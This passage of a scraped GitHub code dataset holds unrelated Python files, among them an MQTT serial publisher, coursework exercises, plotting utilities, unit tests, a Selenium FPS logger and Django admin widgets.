False\n\nfor stop in stopList:\n if int(stop['key']) != int(enteredValue):\n correctInput = True\n break\n\nif correctInput == False:\n print(f\"No stop within {distance} has that stop number.\")\n exit() # NOT WORKING NICELY :('''","repo_name":"CPereira2School/BasicGitUsage","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"70756353413","text":"from struct import pack\nimport serial.tools.list_ports\nimport paho.mqtt.client as mqtt\nfrom random import randrange, uniform\nimport time\n\n#A publisher to publish the temperature inside the home\nmqttBroker = \"mqtt.eclipseprojects.io\"\nclient = mqtt.Client(\"Team_Sammard_Ground_Station\") #Giving the client a name\nclient.connect(mqttBroker)\n\nports = serial.tools.list_ports.comports()\n\nserialInst = serial.Serial()\n\n\nportList = []\ni = 0\nprint(\"Select a port\")\nfor port in ports:\n portList.append(str(port))\n print(\"Option\",i+1,\" : \",str(port))\n i+=1\n\nval = int(input(\"Choose one of the options displayed above : \"))\n\ncom = portList[val-1]\n\nserialInst.baudrate = 9600\nserialInst.port = com[0:4]\nserialInst.open()\n\nwhile True:\n if serialInst.in_waiting:\n packet = serialInst.readline().decode('utf-8')\n print(packet)\n #Publishing packet to topic \n client.publish(\"teams/1007\",packet)\n print(\"Just published \" + packet + \" to Topic teams/1007\")\n time.sleep(1)\n","repo_name":"Jatin7385/Serial_Communication","sub_path":"Serial Communication Using MQTT/Serial_Com/Serial_Com_Publisher.py","file_name":"Serial_Com_Publisher.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26287999222","text":"\"\"\"\nFile: weather_master.py\nName:Zoey\n-----------------------\nThis program should implement a console program\nthat asks weather data from user to compute the\naverage, highest, lowest, cold days among the inputs.\nOutput format should match what is shown in the sample\nrun in the Assignment 2 Handout.\n\n\"\"\"\n\n\n# This constant controls when to stop\nEXIT = -100\n\n\ndef main():\n\t\"\"\"\n\tThis program is for weather data analysis, and It computes\n\tthe highest, lowest, average, cold days among the inputs.\n\t\"\"\"\n\tprint('stancode \"Weather Master 4.0\"!')\n\tn = int(input('Next Temperature: (or '+str(EXIT)+' to quit)? '))\n\tif n == EXIT:\n\t\tprint('No temperatures were entered.')\n\telse:\n\t\tMax = n\n\t\tMin = n\n\t\ttotal = n\n\t\ttotal_days = 1\n\t\tif n < 16:\n\t\t\tcold_days = 1\n\t\telse:\n\t\t\tcold_days = 0\n\t\twhile True:\n\t\t\tn = int(input('Next Temperature: (or '+str(EXIT)+' to quit)? '))\n\t\t\tif n == EXIT:\n\t\t\t\tbreak\n\t\t\t# Find the highest\n\t\t\tif n > Max:\n\t\t\t\tMax = n\n\t\t\t# Find the lowest\n\t\t\tif n < Min:\n\t\t\t\tMin = n\n\t\t\t# sum of input and count total days\n\t\t\ttotal = total + n\n\t\t\ttotal_days += 1\n\t\t\t# count the cold days( < 16)\n\t\t\tif n < 16:\n\t\t\t\tcold_days += 1\n\t\tprint('Highest temperature = '+str(Max))\n\t\tprint('Lowest temperature = '+str(Min))\n\t\tprint('Average = '+str(total/total_days))\n\t\tprint(str(cold_days)+' cold day(s)')\n\n\n###### DO NOT EDIT CODE BELOW THIS LINE ######\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"ZoeyYen/MystanCodeProjects","sub_path":"stanCode_Projects/01_Hailstone_Sequence/weather_master.py","file_name":"weather_master.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43144101345","text":"# 传纸条 https://www.acwing.com/problem/content/277/\n# `方格取数` 方法可过（该题本身写法待定）\n\nT = 55\nw = []\nf = [[[0 for _ in range(T)] for _ in range(T)] for _ in range(2 * T)]\n\nm, n = map(int, input().split())\nfor _ in range(m):\n w.append(list(map(int, input().split())))\n\nfor k in range(2, m + n + 1):\n for i1 in range(1, m + 1):\n for i2 in range(1, m + 1):\n j1, j2 = k - i1, k - i2\n if 1 <= j1 <= n and 1 <= j2 <= n:\n t = w[i1 - 1][j1 - 1]\n if i1 != i2: t += w[i2 - 1][j2 - 1]\n f[k][i1][i2] = max(f[k - 1][i1][i2], f[k - 1][i1 - 1][i2], f[k - 1][i1][i2 - 1],\n f[k - 1][i1 - 1][i2 - 1])\n f[k][i1][i2] += t\n\nprint(f[m + n][m][m])\n","repo_name":"xingwenzan/PythonProgramFiles","sub_path":"算法/Improve/DynamicProgramming/DigitalTriangleModel/PassNote.py","file_name":"PassNote.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"18437753218","text":"import itertools\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.preprocessing import normalize\nfrom pathlib import Path\n\n\ndef plot_confusion_matrix(cm, class_names, norm='', show_plot=False, save_as=None):\n \"\"\"\n Plots a confusion matrix of arbitrary size\n\n Args:\n cm (2D numpy.ndarray [int]): array that represents the confusion matrix to plot (unnormalized)\n class_names (list [str]): list of corresponding class names\n norm: type of normalization to apply {'norm_by_class', 'norm_overall', default: no normalization}\n show_plot: if True, display plot in a window during runtime\n save_as (pathlib.Path or str): full path, including filename and type (e.g. '/cfs/example/confmat.png')\n\n \"\"\"\n assert cm.shape[0] == cm.shape[1] and cm.shape[0] == len(class_names)\n\n plt.rcParams['figure.constrained_layout.use'] = True\n fig = plt.figure(figsize=(len(class_names) + 1, len(class_names) + 1), dpi=150)\n\n if norm == 'norm_by_class':\n cm = np.around(normalize(cm, norm='l1', axis=1), decimals=2)\n elif norm == 'norm_overall':\n cm = np.around(cm / max(cm.sum(), 1e-8), decimals=2)\n\n plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues, vmin=0, vmax=np.sum(cm, 1).max())\n tick_marks = np.arange(len(class_names))\n plt.xticks(tick_marks, class_names, rotation=45)\n plt.yticks(tick_marks, class_names)\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n\n # Use white text if squares are dark; otherwise black\n threshold = 0.5 * np.sum(cm, 1).max()\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n color = \"white\" if cm[i, j] > threshold else \"black\"\n plt.text(j, i, cm[i, j], horizontalalignment=\"center\", color=color)\n\n if show_plot:\n plt.show()\n\n if save_as is not None:\n Path(save_as).parent.mkdir(parents=True, exist_ok=True)\n plt.savefig(save_as)\n\n return fig\n\n\ndef plot_sample_eval(images: list,\n sub_titles=None,\n main_title=None,\n vmin=None, vmax=None,\n label_str=None, pred_str=None,\n additional_info=None,\n show_plot=False, save_as=None):\n \"\"\"\n Plots one or multiple images in a row, including titles and additional information, if given.\n Recommended to use for visualising network input, prediction, label etc. of a data sample or time step\n\n Args:\n images (list[2D numpy.ndarray]): Images to display in the plot, e.g. sensor frames, flowfronts etc.\n sub_titles (list[str]): list of titles that will be displayed above the corresponding image. Length should match\n the number of images\n main_title (str): the main title displayed at the top\n vmin (list[float or int]): set the min value for each subplot manually (useful for time series plots).\n Length should match the number of images\n vmax (list[float or int]): set the max value for each subplot manually (useful for time series plots).\n Length should match the number of images\n label_str: Label as a string (useful if label is a class, not an image)\n pred_str: Prediction as a string (useful if prediction is a class, not an image)\n additional_info (list[str]): List of strings that will be displayed at the bottom of the plot. Each list entry\n is put in a new row.\n show_plot: if True, the plot will be shown in a window during runtime\n save_as (pathlib.Path or str): full path, including filename and type (e.g. '/cfs/example/output.png')\n\n \"\"\"\n assert bool(images)\n assert sub_titles is None or len(sub_titles) == len(images)\n assert vmin is None or len(vmin) == len(images)\n assert vmin is None or len(vmin) == len(images)\n\n plt.rcParams['figure.constrained_layout.use'] = True\n\n # set up figure size and basic structure\n ratio = images[0].shape[0] / images[0].shape[1]\n base_size = 4\n text_space = 0.35 if main_title is not None else 0\n text_space += 0.35 if label_str is not None else 0\n text_space += 0.35 if pred_str is not None else 0\n text_space += 0.35 * len(additional_info) if additional_info is not None else 0\n figsize = (base_size * len(images), base_size * ratio + text_space)\n fig, axs = plt.subplots(1, len(images), figsize=figsize)\n if len(images) == 1:\n axs = [axs]\n\n if main_title is not None:\n fig.suptitle(main_title)\n\n for i, img in enumerate(images):\n axs[i].imshow(img, vmin=None if vmin is None else vmin[i], vmax=None if vmax is None else vmax[i])\n axs[i].set(xticks=[], yticks=[], title=None if sub_titles is None else sub_titles[i])\n\n text = \"\"\n color = 'black'\n\n if label_str is not None:\n text += f\"{'Label: ':8}{label_str}\"\n if label_str is not None and pred_str is not None:\n color = 'green' if label_str == pred_str else 'red'\n text += '\\n'\n if pred_str is not None:\n text += f\"{'Pred: ':8}{pred_str}\"\n\n if additional_info is not None:\n for info in additional_info:\n text += f\"\\n{info}\"\n\n plt.figtext(0.01, 0.01, text, c=color, ha='left')\n\n if show_plot:\n plt.show()\n\n if save_as is not None:\n Path(save_as).parent.mkdir(parents=True, exist_ok=True)\n plt.savefig(save_as)\n\n return fig\n\n\nif __name__ == \"__main__\":\n test_sensors = np.random.rand(38, 30)\n test_flowfront = np.random.rand(143, 111)\n test_no3 = np.random.rand(143, 111)\n # print(test_sensors)\n aux_info = [f\"Original num of states: 475 (250 with dryspot info)\",\n f\"Original num of states: 475 (250 with dryspot info)\",\n f\"Original num of states: 475 (250 with dryspot info)\"]\n imgs = [test_sensors, test_flowfront, test_no3]\n titles = ['Sensor values', 'Flowfront', 'Nochmal was']\n title = 'Test title'\n plot_sample_eval(imgs, titles, title, label_str=\"OK\", pred_str=\"OK\", additional_info=aux_info, show_plot=True)\n plot_sample_eval(imgs, titles, label_str=\"OK\", pred_str=\"OK\", additional_info=aux_info, show_plot=True)\n plot_sample_eval([test_sensors], [titles[1]], title, label_str=\"OK\", show_plot=True)\n plot_sample_eval([test_sensors], [titles[1]], label_str=\"OK\", show_plot=True)\n # plot.savefig(\"testplot.png\", bbox_inches='tight')\n","repo_name":"isse-augsburg/PermeabilityNets","sub_path":"Analysis_Visualisations/evaluation_plots.py","file_name":"evaluation_plots.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"6329880479","text":"import unittest\nimport sys\nimport os\nimport copy\n# COMPATIBILITY: since python 3.3 mock is included in unittest module\npython_version = sys.version_info\nif python_version[:2] <= (3, 3):\n import mock\n from mock import patch\nelse:\n import unittest.mock as mock\n from unittest.mock import patch\n\n# pyConnectomist import\nfrom pyconnectomist.preproc.susceptibility import susceptibility_correction\nfrom pyconnectomist.exceptions import ConnectomistBadManufacturerNameError\nfrom pyconnectomist.exceptions import ConnectomistBadFileError\nfrom pyconnectomist.exceptions import ConnectomistMissingParametersError\n\n\nclass ConnectomistMask(unittest.TestCase):\n \"\"\" Test the Connectomist 'Susceptibility' tab:\n 'pyconnectomist.preproc.susceptibility.susceptibility_correction'\n \"\"\"\n def setUp(self):\n \"\"\" Run before each test - the mock_popen will be available and in the\n right state in every test<something> function.\n \"\"\"\n # Mocking popen\n self.popen_patcher = patch(\"pyconnectomist.wrappers.subprocess.Popen\")\n self.mock_popen = self.popen_patcher.start()\n mock_process = mock.Mock()\n attrs = {\n \"communicate.return_value\": (\"mock_OK\", \"mock_NONE\"),\n \"returncode\": 0\n }\n mock_process.configure_mock(**attrs)\n self.mock_popen.return_value = mock_process\n self.kwargs = {\n \"outdir\": \"/my/path/mock_outdir\",\n \"raw_dwi_dir\": \"/my/path/mock_rawdwidir\",\n \"rough_mask_dir\": \"/my/path/mock_rawmaskdir\",\n \"outliers_dir\": \"/my/path/mock_outliersdir\",\n \"subject_id\": \"Lola\",\n \"delta_TE\": 5,\n \"partial_fourier_factor\": 1,\n \"parallel_acceleration_factor\": 2,\n \"negative_sign\": False,\n \"echo_spacing\": None,\n \"EPI_factor\": None,\n \"b0_field\": 3.0,\n \"water_fat_shift\": 4.68\n }\n\n def tearDown(self):\n \"\"\" Run after each test.\n \"\"\"\n self.popen_patcher.stop()\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_manufacturermiss_raise(self, mock_path, mock_exec):\n \"\"\" No manufacturer -> raise ConnectomistBadFileError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {}\n }\n\n # Test execution\n self.assertRaises(ConnectomistBadFileError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_manufacturer_raise(self, mock_path, mock_exec):\n \"\"\" No manufacturer -> raise ConnectomistBadManufacturerNameError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"WRONG\"\n }\n }\n\n # Test execution\n self.assertRaises(ConnectomistBadManufacturerNameError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_params_raise(self, mock_path, mock_exec):\n \"\"\" Wrong parameters -> raise ConnectomistMissingParametersError.\n \"\"\"\n # Set the mocked functions returned values\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"Siemens\"\n }\n }\n\n # Test execution\n self.assertRaises(ConnectomistMissingParametersError,\n susceptibility_correction, **self.kwargs)\n\n @mock.patch(\"pyconnectomist.preproc.susceptibility.ConnectomistWrapper.\"\n \"_connectomist_version_check\")\n @mock.patch(\"pyconnectomist.preproc.susceptibility.ConnectomistWrapper.\"\n \"create_parameter_file\")\n @mock.patch(\"pyconnectomist.preproc.susceptibility.exec_file\")\n @mock.patch(\"os.path\")\n def test_normal_execution(self, mock_path, mock_exec, mock_params,\n mock_version):\n \"\"\" Test the normal behaviour of the function.\n \"\"\"\n # Set the mocked functions returned values\n mock_params.return_value = \"/my/path/mock_parameters\"\n mock_path.join.side_effect = lambda *x: x[0] + \"/\" + x[1]\n mock_exec.return_value = {\n \"acquisitionParameters\": {\n \"manufacturer\": \"Siemens\"\n }\n }\n kwargs = copy.copy(self.kwargs)\n kwargs[\"echo_spacing\"] = 1\n\n # Test execution\n outdir = susceptibility_correction(**kwargs)\n expected_files = (\n \"b0_magnitude.ima\", \"b0_phase.ima\", \"acquisition_parameters.py\")\n self.assertEqual(outdir, self.kwargs[\"outdir\"])\n self.assertTrue(len(mock_params.call_args_list) == 1)\n self.assertEqual([\n mock.call(kwargs[\"raw_dwi_dir\"], elem) for elem in expected_files],\n mock_path.join.call_args_list)\n self.assertEqual([\n mock.call(os.path.join(kwargs[\"raw_dwi_dir\"], expected_files[2]))],\n mock_exec.call_args_list)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"neurospin/pyconnectomist","sub_path":"pyconnectomist/tests/tests_preproc/test_susceptibility.py","file_name":"test_susceptibility.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"8634648175","text":"import math\nfrom scipy import spatial\nfrom .classification_common import update_result_image\n\ndef point_distance_squared(point_1, point_2):\n return (float(point_2[0]) - float(point_1[0]))**2 + (float(point_2[1]) - float(point_1[1]))**2\n\n\n# Returns the number of image \"sides\" the point is within distance of\ndef count_close_sides(point, image_size, distance):\n counter = 0\n if point[0] < distance:\n counter += 1\n if point[1] < distance:\n counter += 1\n if point[0] + distance > image_size[0]:\n counter += 1\n if point[1] + distance > image_size[1]:\n counter += 1\n return counter\n\n\ndef classify_by_neighbor_count(image_size, circle, neighbor_count, distance):\n # Six neighbors in hexagonal pattern + 1 for itself\n required_neighbors = 7\n\n # Reduce the number of required neighbors if the circle is close to the side of the image:\n close_sides_count = count_close_sides((circle[0], circle[1]), image_size, distance)\n required_neighbors = required_neighbors - close_sides_count * 3\n\n # Classify\n return 1 if neighbor_count >= required_neighbors else 0\n\n\ndef classify_circles_by_distance(img, circles, radius, loose_circle_threshold):\n image_size = (len(img[0]), len(img))\n classification = []\n\n distance = radius * 2 * loose_circle_threshold\n\n points = list((circle[0], circle[1]) for circle in circles)\n tree = spatial.cKDTree(points)\n neighbors_count = tree.query_ball_point(points, distance, return_length=True)\n\n for i in range(len(circles)):\n classification.append(classify_by_neighbor_count(image_size, circles[i], neighbors_count[i], distance))\n\n return classification\n\n\nclass DistanceClassifier:\n def __init__(self):\n pass\n\n @staticmethod\n def get_name():\n return \"Distance\"\n\n @staticmethod\n def get_parameter_list():\n return [\n ['Loose circle tolerance', 1, 100, 50],\n ['Radius', 0, 100, 10],\n ]\n\n @staticmethod\n def evaluate(img, circles, parameters):\n return classify_circles_by_distance(img, circles, parameters['Radius'], (parameters['Loose circle tolerance'] + 49.0) / 50.0)\n\n @staticmethod\n def update_result_image(img, active_image_area, circles, results : list[int], draw_parameters):\n update_result_image(img, active_image_area, circles, results, draw_parameters)\n","repo_name":"domonmar/HEXI","sub_path":"processors/classifiers/classification_distance.py","file_name":"classification_distance.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23354486800","text":"\"\"\" In a array A of size 2N, there are N+1 unique elements, and exactly one of these elements is repeated N times.\n\n Return the element repeated N times.\n\"\"\"\n\n\"\"\" SOLUTION: Create a sliding window of size 4 and check if there are any repeated elements in the window.\n \n\"\"\"\n\nclass Solution(object):\n def repeatedNTimes(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n # Create a window of size 4 - return the element occuring more than once\n i = 0\n win = 4\n while (i + win) <= len(A):\n temp = A[i:i+win]\n if len(temp) != len(set(temp)):\n d = {}\n for j in temp:\n if j in d:\n d[j] += 1\n else:\n d[j] = 1\n for k,v in d.items():\n if v > 1:\n return k\n i += 1\n","repo_name":"sheelabhadra/LeetCode-Python","sub_path":"961_N-Repeated_Element.py","file_name":"961_N-Repeated_Element.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"74748035012","text":"#!/usr/bin/env python\r\nfrom __future__ import print_function\r\nimport csv\r\nimport sys\r\nimport time\r\nimport argparse\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\n\r\nimport settings\r\n\r\nclass FpsCapturer:\r\n def __init__(self, args):\r\n self.webdriver_pathname = settings.WEBDRIVER_PATH\r\n self.webgl_sample_url = settings.WEBGL_SAMPLE_URL\r\n self.duration = None\r\n self.number = None\r\n if args.time:\r\n self.duration = args.time * 3600\r\n elif args.min:\r\n self.duration = args.min * 60\r\n else:\r\n self.number = args.number\r\n\r\n self.data_file = args.file\r\n self.draw_chart = args.withchart\r\n self.data = []\r\n\r\n self.d = DesiredCapabilities.CHROME\r\n self.d['loggingPrefs'] = {'browser': 'ALL'}\r\n self.webdriver = webdriver.Chrome(executable_path=self.webdriver_pathname, desired_capabilities=self.d)\r\n self.webdriver.get(self.webgl_sample_url)\r\n time.sleep(settings.SAMPLE_INITIALIZATION_TIME)\r\n\r\n def start(self):\r\n start_time = time.time()\r\n start_count = 0\r\n while True:\r\n this_time = time.time()\r\n localtime = time.localtime(this_time)\r\n if this_time - start_time >= self.duration:\r\n break\r\n if self.number and start_count >= self.number:\r\n break\r\n fps = self.webdriver.find_element_by_id('fps').get_attribute('innerText')\r\n time_value = '%02d:%02d:%02d' % (localtime.tm_hour, localtime.tm_min, localtime.tm_sec)\r\n fps_value = str(fps)\r\n record = (time_value, fps_value)\r\n self.data.append(record)\r\n print('fps:'.join(['[' + record[0] + ']', record[1]]))\r\n time.sleep(1)\r\n if self.number:\r\n start_count += 1\r\n\r\n self.webdriver.quit()\r\n\r\n with open(self.data_file, 'wb') as fp:\r\n csv_writer = csv.writer(fp)\r\n csv_writer.writerow(['Time', 'Fps'])\r\n for record in self.data:\r\n csv_writer.writerow(record)\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(description='A utility to get the fps data of webgl samples')\r\n parser.add_argument('-t', '--time', type=int,\r\n help='specify the duration you want go get the fps, in hour.')\r\n parser.add_argument('-m', '--min', type=int, default = 5,\r\n help = 'specify the duration in minute, useful when --time is less than 1 hour and not set,'\r\n ' default value is 5 minutes.')\r\n parser.add_argument('-f', '--file', type=str, default='fps.csv',\r\n help='specify the fps data file to store in csv format, default value is fps.csv.')\r\n parser.add_argument('-n', '--number', help='specify the number of capturing the fps data.')\r\n parser.add_argument('-c', '--withchart', action='store_true',\r\n help='specify whether generate the fps data chart.')\r\n args = parser.parse_args()\r\n print(args)\r\n fps_capturer = FpsCapturer(args)\r\n fps_capturer.start()\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n sys.exit(main())\r\n except KeyboardInterrupt:\r\n sys.err.write('Testing interrupted!')\r\n sys.exit(1)\r\n","repo_name":"haoyunfeix/webvr-benchmark-test","sub_path":"fps.py","file_name":"fps.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30393043962","text":"import exifread\n\nDEBUG=True\n\ndef extract_exif_data(image_path):\n # Open image file for reading (binary mode)\n image = open(image_path, 'rb')\n\n # Return Exif tags\n tags = exifread.process_file(image)\n\n if DEBUG:\n if tags:\n import pprint\n pp = pprint.PrettyPrinter(indent=4)\n pp.pprint(tags)\n else:\n print(\"No EXIF tags found\")\n\n return tags\n\nif __name__ == '__main__':\n extract_exif_data('../data/s7_image_2.jpg')\n","repo_name":"stevelaskaridis/image-storytelling","sub_path":"src/exifExtractor.py","file_name":"exifExtractor.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"24866934009","text":"from django.contrib.admin import ModelAdmin, widgets\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.urlresolvers import reverse\nfrom django.utils.safestring import mark_safe\n\n\n@user_passes_test(lambda u: u.is_staff)\ndef label_view(request, app_name, model_name, template_name=\"\", multi=False, template_object_name=\"object\"):\n from django.http import HttpResponse\n from django.shortcuts import render_to_response\n from django.db.models import get_model\n\n pk = request.GET.get(\"pk\", \"\")\n model = get_model(app_name, model_name)\n url_id = \"admin:%s_%s_change\" % (app_name, model_name)\n obj_tuple = lambda o: (o, reverse(url_id, args=[o.pk]))\n try:\n if multi:\n if pk:\n ids = pk.split(\",\")\n model_template = \"admin/raw_id_fields/%s/multi_%s.html\" % (\n app_name, model_name)\n objects = [\n obj_tuple(obj) for obj in model.objects.filter(pk__in=ids)]\n extra_context = {template_object_name: objects, }\n else:\n model_template = \"admin/raw_id_fields/%s/%s.html\" % (\n app_name, model_name)\n extra_context = {\n template_object_name: obj_tuple(model.objects.get(pk=pk)),\n }\n except model.DoesNotExist:\n return HttpResponse(\"\")\n return render_to_response((model_template, template_name), extra_context)\n\n\nclass SmartForeignKeyRawIdWidget(widgets.ForeignKeyRawIdWidget):\n def __init__(self, label_url, *args, **kwargs):\n self.label_url = label_url\n super(SmartForeignKeyRawIdWidget, self).__init__(*args, **kwargs)\n\n def label_for_value(self, value=None):\n return \"\"\n\n def render(self, name, value, attrs=None):\n attrs = attrs or {}\n mdl = (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())\n attrs['data-chu'] = reverse(\"admin:%s_%s_changelist\" % mdl)\n attrs['data-wsu'] = reverse(\"admin:{}\".format(self.label_url), args=mdl)\n output = super(SmartForeignKeyRawIdWidget, self).render(name, value, attrs)\n return mark_safe(output)\n\n class Media:\n js = (\"admin/js/smart_raw_id.js\",)\n css = {\n 'all': ('admin/css/smart_raw_id.css',)\n }\n\n\nclass SmartManyToManyRawIdWidget(widgets.ManyToManyRawIdWidget):\n def __init__(self, label_url, *args, **kwargs):\n self.label_url = label_url\n super(SmartManyToManyRawIdWidget, self).__init__(*args, **kwargs)\n\n def label_for_value(self, value):\n return u''\n\n def render(self, name, value, attrs=None):\n attrs = attrs or {}\n mdl = (self.rel.to._meta.app_label, self.rel.to._meta.object_name.lower())\n attrs['data-chu'] = reverse(\"admin:%s_%s_changelist\" % mdl)\n attrs['data-wsu'] = reverse(\"admin:{}\".format(self.label_url), args=mdl)\n output = super(SmartManyToManyRawIdWidget, self).render(name, value, attrs)\n return mark_safe(output)\n\n class Media:\n js = (\"admin/js/smart_raw_id.js\",)\n css = {\n 'all': ('admin/css/smart_raw_id.css',)\n }\n\n\nclass SmartOneRawIdMixin(object):\n\n @property\n def admin_prefix_url(self):\n return \"{}_{}\".format(self.opts.app_label, self.opts.model_name)\n\n @property\n def one_label_url(self):\n return \"{}_raw_id_label\".format(self.admin_prefix_url)\n\n def get_urls(self):\n urls = super(SmartOneRawIdMixin, self).get_urls()\n from django.conf.urls import patterns, url\n my_urls = patterns(\n 'smart_raw_id.admin',\n url(\n r'^label_view/(?P<app_name>[\\w-]+)/(?P<model_name>[\\w-]+)/$',\n 'label_view',\n {'template_name': 'admin/raw_id_fields/label.html'},\n name=self.one_label_url,\n )\n )\n return my_urls + urls\n\n def formfield_for_foreignkey(self, db_field, request=None, **kwargs):\n from django.contrib.admin.options import get_ul_class\n from django.utils.translation import ugettext as _\n \"\"\"\n Get a form Field for a ForeignKey.\n \"\"\"\n db = kwargs.get('using')\n if db_field.name in self.raw_id_fields:\n kwargs['widget'] = SmartForeignKeyRawIdWidget(\n self.one_label_url, db_field.rel, self.admin_site, using=db)\n elif db_field.name in self.radio_fields:\n kwargs['widget'] = widgets.AdminRadioSelect(attrs={\n 'class': get_ul_class(self.radio_fields[db_field.name]),\n })\n kwargs['empty_label'] = _('None') if db_field.blank else None\n\n if not 'queryset' in kwargs:\n queryset = self.get_field_queryset(db, db_field, request)\n if queryset is not None:\n kwargs['queryset'] = queryset\n\n return db_field.formfield(**kwargs)\n\n\nclass SmartManyRawIdMixin(object):\n\n @property\n def admin_prefix_url(self):\n return \"{}_{}\".format(self.opts.app_label, self.opts.model_name)\n\n @property\n def many_label_url(self):\n return \"{}_raw_id_multi_label\".format(self.admin_prefix_url)\n\n def get_urls(self):\n urls = super(SmartManyRawIdMixin, self).get_urls()\n from django.conf.urls import patterns, url\n my_urls = patterns(\n 'smart_raw_id.admin',\n url(\n r'^label_view/(?P<app_name>[\\w-]+)/(?P<model_name>[\\w-]+)/multi/$',\n 'label_view',\n {\n 'multi': True,\n 'template_object_name': 'objects',\n 'template_name': 'admin/raw_id_fields/multi_label.html'\n },\n name=self.many_label_url,\n )\n )\n return my_urls + urls\n\n def formfield_for_manytomany(self, db_field, request=None, **kwargs):\n \"\"\"\n Get a form Field for a ManyToManyField.\n \"\"\"\n # If it uses an intermediary model that isn't auto created, don't show\n # a field in admin.\n if not db_field.rel.through._meta.auto_created:\n return None\n db = kwargs.get('using')\n\n if db_field.name in self.raw_id_fields:\n kwargs['widget'] = SmartManyToManyRawIdWidget(self.many_label_url, db_field.rel, self.admin_site, using=db)\n kwargs['help_text'] = ''\n elif db_field.name in (list(self.filter_vertical) + list(self.filter_horizontal)):\n kwargs['widget'] = widgets.FilteredSelectMultiple(db_field.verbose_name, (db_field.name in self.filter_vertical))\n\n if not 'queryset' in kwargs:\n queryset = self.get_field_queryset(db, db_field, request)\n if queryset is not None:\n kwargs['queryset'] = queryset\n\n return db_field.formfield(**kwargs)\n\n\nclass SmartRawIdMixin(SmartOneRawIdMixin, SmartManyRawIdMixin):\n pass\n","repo_name":"depaolim/django_smart_raw_id","sub_path":"smart_raw_id/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":6870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34730833224","text":"# checks for asos that never match any of the provided sequences\n\n# import necessary modules\nimport pandas as pd\nfrom Bio.Seq import Seq\n\n\n# read in the whole dataframe\ndf = pd.read_csv(\"../Data/Complete_ASOtoTranscriptSeq.tsv\", sep=\" \")\n\n# list unique geneIDs\nunique_asos = df.ASOseq.unique()\n\n# determine number of sequences each aso shows up in\naso_check = {}\nfor i in unique_asos:\n aso_check[i] = 0\n\nfor i, r in df.iterrows():\n if str(Seq(r.ASOseq).reverse_complement()) in r.Sequence:\n aso_check[str(r.ASOseq)] = aso_check[str(r.ASOseq)] + 1\n\n# identify asos that never match a sequence\nmissing_asos = []\nfor i in aso_check.keys():\n if aso_check[i] == 0:\n missing_asos.append(i)\n\n","repo_name":"lackeylela/openASO","sub_path":"covertingcoordinates/validated_coordinate_conversion/unique_checks/aso_match_check.py","file_name":"aso_match_check.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"19701050028","text":"#coding=utf-8\r\n\r\n#@time:2019/3/27 8:23\r\n#@author: Sheng Guangxiao\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nwidth=100\r\nheight=100\r\n\r\ndef pointInRec(p):\r\n if 0<=p[0]<=width and 0<=p[1]<=height:\r\n return True\r\n return False\r\n\r\n# Thanks to Paul Draper at\r\n# http://stackoverflow.com/questions/20677795/find-the-point-of-intersecting-lines\r\ndef line_intersection(line1, line2):\r\n xdiff = (line1[0][0] - line1[1][0], line2[0][0] - line2[1][0])\r\n ydiff = (line1[0][1] - line1[1][1], line2[0][1] - line2[1][1])\r\n\r\n def det(a, b):\r\n return a[0] 